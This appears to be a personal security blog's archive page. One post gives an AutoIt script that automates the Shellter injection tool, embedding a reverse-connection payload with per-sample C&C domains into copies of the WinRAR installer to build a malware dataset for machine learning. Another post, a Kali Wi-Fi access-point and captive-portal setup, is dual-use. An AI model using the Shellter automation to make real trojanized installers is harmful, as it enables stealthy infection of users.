Background:
If you are having the following error, it might be that your Metasploit framework is outdated.
I was having this issue when i used Metasploit framework from a Kali 2017 vm image without updating it.
Solution:
1. Update the framework, the below command works on my Kali Linux.
apt update
apt install metasploit-framework
Wednesday, July 25, 2018
Wednesday, July 4, 2018
Automating generation of SHELLTER payloads
This post serves as a journal of the technique used for automating generation of SHELLTER payloads.
Objective: Generation of 1000 SHELLTER payloads each with a unique C&C domain name and binary name.
Purpose: Creation of malware dataset for Machine Learning
Background: SHELLTER is an closed-source shellcode injection framework that performs dynamic PE infection based upon execution flow of the target application. This approach does not modify the original PE header thus allowing it to appear normal using static analysis.
SHELLTER is a windows PE binary and can be found https://www.shellterproject.com/download/
It can be executed on Linux using WINE or directly in Windows.
Challenge: I initially ran SHELLTER from Linux but have difficulty automating a WINE terminal. After researching on using PYTHON subprocess, i found it too much of a hassle to attempt redirection to and fro a WINE terminal from a Linux terminal.
Thus i ended up automating SHELLTER from native Windows instead. Autoit is a free software designed for creation of automated scripts.
Overview of Technique:
1) Create a Win7 VM on VMWARE
2) Download SHELLTER
3) Download and install Autoit
4) Open Autoit SciTE script editor
5) Typed in the following script
6) Save the Autoit script in the same directory where Shellter.exe resides in.
7) Create a csv file using excel with the following format and save it as website.csv:
8) I have chosen to pack winrar (wrar560.exe) with the payload, you may find it here https://www.rarlab.com/rar/wrar560.exe
9) Save wrar560.exe to the same directory as Shellter.exe
10) Execute the Autoit script
Results:
Took about 2 days to create over 900 malware samples. 100 more to go =)
Feel free to modify the script accordingly.
Objective: Generation of 1000 SHELLTER payloads each with a unique C&C domain name and binary name.
Purpose: Creation of malware dataset for Machine Learning
Background: SHELLTER is an closed-source shellcode injection framework that performs dynamic PE infection based upon execution flow of the target application. This approach does not modify the original PE header thus allowing it to appear normal using static analysis.
SHELLTER is a windows PE binary and can be found https://www.shellterproject.com/download/
It can be executed on Linux using WINE or directly in Windows.
Challenge: I initially ran SHELLTER from Linux but have difficulty automating a WINE terminal. After researching on using PYTHON subprocess, i found it too much of a hassle to attempt redirection to and fro a WINE terminal from a Linux terminal.
Thus i ended up automating SHELLTER from native Windows instead. Autoit is a free software designed for creation of automated scripts.
Overview of Technique:
1) Create a Win7 VM on VMWARE
2) Download SHELLTER
3) Download and install Autoit
4) Open Autoit SciTE script editor
5) Typed in the following script
#include <MsgBoxConstants.au3>;
#RequireAdmin
#include <FileConstants.au3>;
#include <MsgBoxConstants.au3>;
#include <WinAPIFiles.au3>;
#include <File.au3>;
;If IsAdmin() Then MsgBox($MB_SYSTEMMODAL, "", "The script is running with admin rights.")
Func Generate($vVar1 = "google.com")
Run('.\shellter.exe')
Sleep(1000)
WinWaitActive("Shell7er", "", 1)
;automate
Send("A{Enter}")
Sleep(1000)
;Do not check update
Send("N{Enter}")
Sleep(1000)
;original binary path
Send(".\wrar560.exe{Enter}")
Sleep(35000)
;Stealth mode
Send("Y{Enter}")
Sleep(1000)
;payload selection
Send("l{Enter}")
Sleep(2000)
Send("3{Enter}")
Sleep(1000)
;domain name
Send($vVar1)
Send("{Enter}")
Sleep(1000)
;port number
Send("443{Enter}")
Sleep(10000)
Send("{Enter}")
EndFunc
Func print($test3)
MsgBox($MB_SYSTEMMODAL, "", $test3)
EndFunc
$file = ".\website.csv"
FileOpen($file, 0)
;2 is first entry, 1 is the header
$StartFrom = 2
For $i = $StartFrom to _FileCountLines($file)
$line = StringSplit(FileReadLine($file, $i),",")
$domainName = $line[1]
Generate($domainName)
;print($line[2])
Sleep(3000)
$sDestination = ".\malware\" & $line[2]
;MsgBox($MB_SYSTEMMODAL, "", $sDestination)
FileMove(".\wrar560.exe", $sDestination, $FC_OVERWRITE)
FileMove(".\Shellter_Backups\wrar560.exe", ".\wrar560.exe", $FC_OVERWRITE)
Next
FileClose($file)
6) Save the Autoit script in the same directory where Shellter.exe resides in.
7) Create a csv file using excel with the following format and save it as website.csv:
8) I have chosen to pack winrar (wrar560.exe) with the payload, you may find it here https://www.rarlab.com/rar/wrar560.exe
9) Save wrar560.exe to the same directory as Shellter.exe
10) Execute the Autoit script
Results:
Took about 2 days to create over 900 malware samples. 100 more to go =)
Feel free to modify the script accordingly.
Wednesday, November 1, 2017
A reflection on decision making
Life is a series of decision, some made on impulses while others through serious deliberation.
Perhaps writing down my thought process could help provide clarity when i need it the most.
What works:
Reflecting back on the past, i stood behind every key decision made and this seems to work out well for me. There are no right or wrong decision, your life shapes itself around the decision that you made. If you believe in the decision made, you will inevitably work towards ensuring its success.
Living life with regrets only serves to make one's life worst than it actually is.
What to avoid:
Big decision that has serious implication on yourself and others deserves more time for consideration. Yet time is a precious commodity, and spending too much time could lead to over-thinking and inaction. As such a fine balance is necessary to ensure adequate but not over-thinking.
Approaches:
Listing out the options and its respective pros and cons and question assumption made
Be objective, or try to be
Speak to others
Take your time
Trust your instinct
Perhaps writing down my thought process could help provide clarity when i need it the most.
What works:
Reflecting back on the past, i stood behind every key decision made and this seems to work out well for me. There are no right or wrong decision, your life shapes itself around the decision that you made. If you believe in the decision made, you will inevitably work towards ensuring its success.
Living life with regrets only serves to make one's life worst than it actually is.
What to avoid:
Big decision that has serious implication on yourself and others deserves more time for consideration. Yet time is a precious commodity, and spending too much time could lead to over-thinking and inaction. As such a fine balance is necessary to ensure adequate but not over-thinking.
Approaches:
Listing out the options and its respective pros and cons and question assumption made
Be objective, or try to be
Speak to others
Take your time
Trust your instinct
Thursday, September 28, 2017
Reflection on life
It has been awhile since my last technical posting, a reflection of my current situation as a middle management.
Most technologist in Asia or at least in my narrow perspective could choose to either become an expert in a certain field and risk becoming obsolete or pursue a life trying to scale the corporate ladder.
I have chosen the latter and what it means is a shift in focus from being the problem solver to becoming a shape-shifter taking on the role of a saleman, slave driver, morale booster, leader, prophet, jester.
The role of a manager can be rewarding only if you are given the autonomy to lead your team and that you can produce results. And it is only fair that you should take responsibility of your team's performance.
But often time you will need to do the bidding of higher-ups whose direction you might not always agreed with. So how do you work on something that even you do not believe in ?? It is not impossible, but just very unfulfilling. How do you escape this cycle??
After going through some unfulfilling years at work, i have decided to take a year break from it all. An opportunity to slow down and appreciate life. A quest to do some reflection, to recharge my mind, body and soul (MBS).
As i struggle to define what is MBS, i guess the easiest approach would be to add activities that falls into this category in an iterative manner. The list would be flexible and dynamic but this post will be a good place to note down my commitment.
Mind
Learn something new - (Doing my Masters in information security)
Learn a new language
Body
Exercise - at least twice a week either swim, gym, jog or hike
Sleep - at least 8 hrs
Eat well
Soul
Practice mindfulness - need to learn that first
Meet new people
Chill
Most technologist in Asia or at least in my narrow perspective could choose to either become an expert in a certain field and risk becoming obsolete or pursue a life trying to scale the corporate ladder.
I have chosen the latter and what it means is a shift in focus from being the problem solver to becoming a shape-shifter taking on the role of a saleman, slave driver, morale booster, leader, prophet, jester.
The role of a manager can be rewarding only if you are given the autonomy to lead your team and that you can produce results. And it is only fair that you should take responsibility of your team's performance.
But often time you will need to do the bidding of higher-ups whose direction you might not always agreed with. So how do you work on something that even you do not believe in ?? It is not impossible, but just very unfulfilling. How do you escape this cycle??
After going through some unfulfilling years at work, i have decided to take a year break from it all. An opportunity to slow down and appreciate life. A quest to do some reflection, to recharge my mind, body and soul (MBS).
As i struggle to define what is MBS, i guess the easiest approach would be to add activities that falls into this category in an iterative manner. The list would be flexible and dynamic but this post will be a good place to note down my commitment.
Mind
Learn something new - (Doing my Masters in information security)
Learn a new language
Body
Exercise - at least twice a week either swim, gym, jog or hike
Sleep - at least 8 hrs
Eat well
Soul
Practice mindfulness - need to learn that first
Meet new people
Chill
Wednesday, February 24, 2016
php imap download email to eml a comparison of different approaches
Pieced together a simple php script to download emails using imap.
These are some of the different approaches to download the email as eml format.
Approach A
$headers = imap_fetchheader($connection, $k, FT_PREFETCHTEXT);
$body = imap_body($connection, $k);
file_put_contents("pathtoemail.eml", $headers . "\n" . $body);
Approach B
$body=imap_fetchbody($connection, $k, "");
file_put_contents("pathtoemail.eml", $body);
Approach C
imap_savebody($connection, "pathtoemail.eml", $k);
Performance comparison when downloading 1 day worth of email. (lower is better)
Approach A (mins)
1. 2.095
2. 1.886
3. 1.984
4. 1.990
Approach B (mins)
1. 1.447
2. 1.357
3. 1.399
4. 1.413
Approach C (mins)
1. 1.468
2. 1.409
3. 1.401
4. 1.367
Conclusion:
Either approach B or C would make a good choice for downloading emails using php imap.
Sample script:
<?php
$time_start = microtime(true);
//$server = '{imap.mail.yahoo.com:993/ssl}';
$server = '{imap.gmail.com:993/ssl}';
//$user = 'xxx@gmail.com';
$user = $argv[1];
//$pass = 'xxx';
$pass = "$argv[2]";
date_default_timezone_set('Asia/Shanghai');
$criteria = 'SINCE "'.date('d M Y', strtotime('- 1 days')).'"';
$connection = imap_open($server, $user, $pass) or die("can't connect: " . imap_last_error());
$mailboxes = imap_list($connection, $server, '*');
$folder = "./$user/";
if(!file_exists($folder)){
mkdir($folder, 0777, true);
}
foreach($mailboxes as $mailbox) {
$shortname = str_replace($server, '', $mailbox);
echo "$shortname\n";
//create folder
if(!file_exists("$folder$shortname")){
mkdir("$folder$shortname", 0777, true);
}
//enter into folder
imap_reopen($connection, $server.$shortname);
$count = imap_num_msg($connection);
$uids = imap_search($connection, $criteria, SE_UID, 'UTF-8');
if(is_array($uids)){
foreach($uids as $ud){
$k = imap_msgno ($connection, $ud);
//approach A
//$headers = imap_fetchheader($connection, $k, FT_PREFETCHTEXT);
//$body = imap_body($connection, $k);
//file_put_contents("$folder$shortname/$ud.eml", $headers ."\n". $body);
//approach B
//$body=imap_fetchbody($connection, $k, "");
//file_put_contents("$folder$shortname/$ud.eml", $body);
//approach C
imap_savebody($connection, "$folder$shortname/$ud.eml", $k);
echo "saved $ud.eml " . "($count-$k)\n";
}
}else{
// echo "imap_search failed: " . imap_last_error() . "\n";
}
}
imap_errors();
imap_close($connection);
$time_end = microtime(true);
//dividing with 60 will give the execution time in minutes other wise seconds
$execution_time = ($time_end - $time_start)/60;
//execution time of the script
echo 'Total Execution Time: '.$execution_time.' Mins';
?>
Labels:
download email,
email,
eml,
fetchbody,
fetchheader,
php imap,
save email
Friday, September 4, 2015
Starting a VPS reseller business
Just some notes to remind me on how to setup my own VPS services
Pre-requisite:
1 x Server grade dedicated server
Multiple number of IP addresses; 1 for each VPS.
Visualization software:
a) http://solusvm.com/pricing/
b) http://www.virtualizor.com/NOCs
Payment portal
a) WHMCS
b) http://www.docs.modulesgarden.com/SolusVM_Extended_VPS_For_WHMCS
Pre-requisite:
1 x Server grade dedicated server
Multiple number of IP addresses; 1 for each VPS.
Visualization software:
a) http://solusvm.com/pricing/
b) http://www.virtualizor.com/NOCs
Payment portal
a) WHMCS
b) http://www.docs.modulesgarden.com/SolusVM_Extended_VPS_For_WHMCS
Monday, March 9, 2015
Manually setup Wifi AP with a captive portal on kali linux
As per the topic, this is a post to show how to create a (i) Wifi AP, (ii) redirect users to a captive portal, and (iii) how to allow user to use the internet after they accept the terms and condition on the captive portal.
This is the environment we will be using:
Local interface which is connected to the internet.
1)
interface configuration are located here /etc/network/interfaces
eth0
IP : 192.168.17.28
Mask: 255.255.255.0
GW : 192.168.17.2
Wireless Network
wlan0
IP : 192.168.0.1
Mask: 255.255.255.0
GW : 192.168.0.0
Assuming you already have eth0 setup properly, turn on wireless network interface
2)
Configure DHCPD /etc/dhcp/dhcpd.conf
3)
Enable IP forwarding
4)
Flush your iptables rules so that we are on the same settings
5)
Configure Iptables to enable traffic masquerading
6)
Configure all Wifi traffic from wlan0 to be redirected to the webserver
7)
Configure your hotspot configuration. HOSTAPD is a utility for creating a AP.
create your configuration file /etc/hostapd/hostapd.conf
8)
Time to start DHCPD and hostapd. once started use another device to see if there is a myhotspot. Everytime you try to surf the internet, you will be redirected to your localhost webserver. Whatever your are serving is called the captive portal.
9)
So how do you enable internet for users? One possible way is to use your captive portal to create Iptable rule which enable a particular device (mac address). For example if your device is 11:22:33:11:22:33
Still unclear on step 9? Try looking at pwnstar package.
Having trouble routing ur wifi to ur internet interface ?
https://prahladyeri.wordpress.com/2013/05/26/how-to-turn-your-linux-machine-into-a-wifi-access-point/
This is the environment we will be using:
Local interface which is connected to the internet.
1)
interface configuration are located here /etc/network/interfaces
eth0
IP : 192.168.17.28
Mask: 255.255.255.0
GW : 192.168.17.2
Wireless Network
wlan0
IP : 192.168.0.1
Mask: 255.255.255.0
GW : 192.168.0.0
Assuming you already have eth0 setup properly, turn on wireless network interface
ifconfig wlan0 192.168.0.1
2)
Configure DHCPD /etc/dhcp/dhcpd.conf
default-lease-time 300;
max-lease-time 360;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.200;
option routers 192.168.0.1;
option domain-name-servers 192.168.17.2;
}
3)
Enable IP forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward
4)
Flush your iptables rules so that we are on the same settings
iptables -t nat -F
5)
Configure Iptables to enable traffic masquerading
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
6)
Configure all Wifi traffic from wlan0 to be redirected to the webserver
iptables -t nat -A PREROUTING -i wlan0 -p tcp -j DNAT --to-destination 192.168.17.128:80
7)
Configure your hotspot configuration. HOSTAPD is a utility for creating a AP.
create your configuration file /etc/hostapd/hostapd.conf
# Define interface
interface=wlan0
driver=nl80211
# Select driver
ssid=myhotspot
# Set access point name
hw_mode=g
# Set access point harware mode to 802.11g
# Enable WPA2 only (1 for WPA, 2 for WPA2, 3 for WPA + WPA2)
# Set WIFI channel (can be easily changed)
channel=6
#wpa=2
#wpa_passphrase=mypassword
8)
Time to start DHCPD and hostapd. once started use another device to see if there is a myhotspot. Everytime you try to surf the internet, you will be redirected to your localhost webserver. Whatever your are serving is called the captive portal.
dhcpd
hostapd /etc/hostapd/hostapd.conf
/etc/init.d/apache2 start
9)
So how do you enable internet for users? One possible way is to use your captive portal to create Iptable rule which enable a particular device (mac address). For example if your device is 11:22:33:11:22:33
iptables -t nat -I PREROUTING -m mac --mac-source 11:22:33:11:22:33 -j ACCEPT
Still unclear on step 9? Try looking at pwnstar package.
Having trouble routing ur wifi to ur internet interface ?
https://prahladyeri.wordpress.com/2013/05/26/how-to-turn-your-linux-machine-into-a-wifi-access-point/
Labels:
captive portal,
iptables,
kali linux,
wifi access point
Subscribe to:
Posts (Atom)



